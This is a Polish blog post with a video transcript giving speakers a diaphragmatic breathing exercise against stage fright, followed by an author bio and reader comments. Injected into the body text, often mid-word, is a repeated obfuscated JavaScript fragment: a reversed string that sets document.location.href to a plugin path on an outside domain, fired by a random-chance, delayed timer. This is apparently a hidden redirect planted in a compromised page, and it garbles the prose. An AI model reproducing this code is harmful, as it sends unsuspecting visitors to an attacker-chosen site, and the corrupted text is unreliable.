Dziś rozpoczynam nowy cykl filmowy o nazwie quick tip video. Będę tu publikować krótkie filmiki – max 2 minuty z poradami dla mówców, ale z poradami z… przymrużeniem oka 🙂 Z resztą co tu dużo gadać. Obejrzyj film:
Tu możesz przeczytać transkrypt nagrania:
– Robercie, rozpoczynam moja przygodę z prezentacjami i bardzo się denerwuję przed każdym wystąpieniem. Czy możesz mi coś poradzić? – pyta Tomek z Wronek.
– Tak Tomku, mogę – odpowiada Robert 🙂
Mam, Tomku dla Ciebie proste oddechowe ćwiczenie antystresowe, możesz je wykonać tuż przed rozpoczęciem prezentacji. Nie wymaga ona ani specjalnych umiejętności, ani miejsca. Możesz je wykonać… przed publicznością! Otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ono:
1. Stań wyprostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany
2. Zamknij oczy
3. Weź głęboki oddech (wdychaj powietrze nosem)
4. Przytrzymaj 2-3 sekundy powietrze
5. Zrób wydech (wypuść powietrze ustami)
Zrób np. serię 10 wdechów mi wydechów.
Bardzo ważne: gdy wdychasz powietrze, rób toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to przeponą a nie szczytami płuc! Gdy oddychasz przeponą, nabierasz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do płuc więcej powietrza – starczy Ci go na dłużej i nie będziesz kończyć zdań na “bezdechu”. Na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatek Twój głos będzie mocniejszy i pewniejszy.
Jak sprawdzić czy oddychasz prawidłowo?
Podczas wdechu powinien się unosić twój brzuch – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oznacza, że oddychasz przeponą. Gdy unosi się klatka piersiowa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oddychasz tylko płucami. Twój oddech jest krótki, płytki i nerwowy. W takich sytuacjach zapewne braknie Ci powietrza na końcu zdania…
Zrób kilka takich głębokich wdechów tuz przed wystąpieniem a na pewno będziesz spokojniejszy i mniej zestresowany. Rób takie ćwiczenie w każdej stresującej sytuacji: przed egzaminem, rozmową z szefem itd.
Pamiętaj o oddychaniu przeponą!
pozdrawiam i mam nadzieję, że pomogłem!
– – – – – – – – – – – – – – – – – – – – – – – – – –
Jeśli film i artykuł spotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobały Ci się, kliknij w “Lubię toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”, wtedy Twoi wszyscy znajomi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowiedzą się o tym, że masz dla nich “ciekawe znalezisko w sieci” 🙂
A możę masz własne pomysły na radzenie sobie ze stresem? Wpisz komentarz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego artykułu
– – – – – – – – – – – – – – – – – – – – – – – – –
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Witam.
Prawdopodobnie, skuteczniejsze jest to ćwiczenie, gdy zaczynamy od “głębokiego wydechu z przepony” – opróżniamy wtedy zastały CO2 ze “skrajnych połaci płuc”, zastępując go O2, a nie wtłaczamy go głębiej, jak w przypadku, gdy zaczynamy od wdechu.
Pozdrawiam.
Jan.
Janie,
zaproponowane przeze mnie ćwiczenie na pewno na początek wystarczy – aby wzmocnić efekt proponuję dodatkowo: w momencie wdechu powiedzieć sobie w myślach “wdycham spokój” a wydychając powietrze – “wydycham lęk/stres/strach”. To naprawdę pomaga!
co do Twojej propozycji – na pewno skorzystam przy kolejnej stresowej sytuacji i oczyszczę płuca na maxa 🙂
pozdrawiam
Robercie,
to ćwiczenie oddechowe nie jest aż tak uniwersalne jak myślisz i nie pomaga każdemu. Na mnie nie działa w sytuacji stresowej i nie dlatego, że nieodpowiednio oddycham. Ćwiczę od roku jogę i naprawdę wiem jak oddychać i potrafię się zrelaksować. Zrelaksować w sytuacji, które temu sprzyja.
Jednak przed wystąpieniem publicznym, które miałam po dłuższej przerwie (wcześniej się już przyzwyczaiłam i nie stresowałam) miałam niespodziewanie ogromną tremę. Nie pomogło oddychanie przeponowe, ani żaden inny sposób.
Może znasz jeszcze jakieś metody dla “opornych”? 🙂
Pozdrawiam.
P.S. Jan może mieć rację… 🙂
Basiu,
nie na wszystkich to działa, rzeczywiście. Takie ćwiczenie to próba likwidacji skutków a nie przyczyny. Konieczna jest zmiana sposobu myślenia przed prezentacją. Mam kilka nowych pomysłów na ten temat. Część z nich opublikowałem w Tajnej Księdze Mówców. Natomiast w najbliższym czasie przygotuję szkolenie video z ćwiczeniami dla mówców, a w nim znajdzie się moduł jak radzić sobie ze stresem. Tych pomysłów nie prezentowałem wcześniej.
pozdrawiam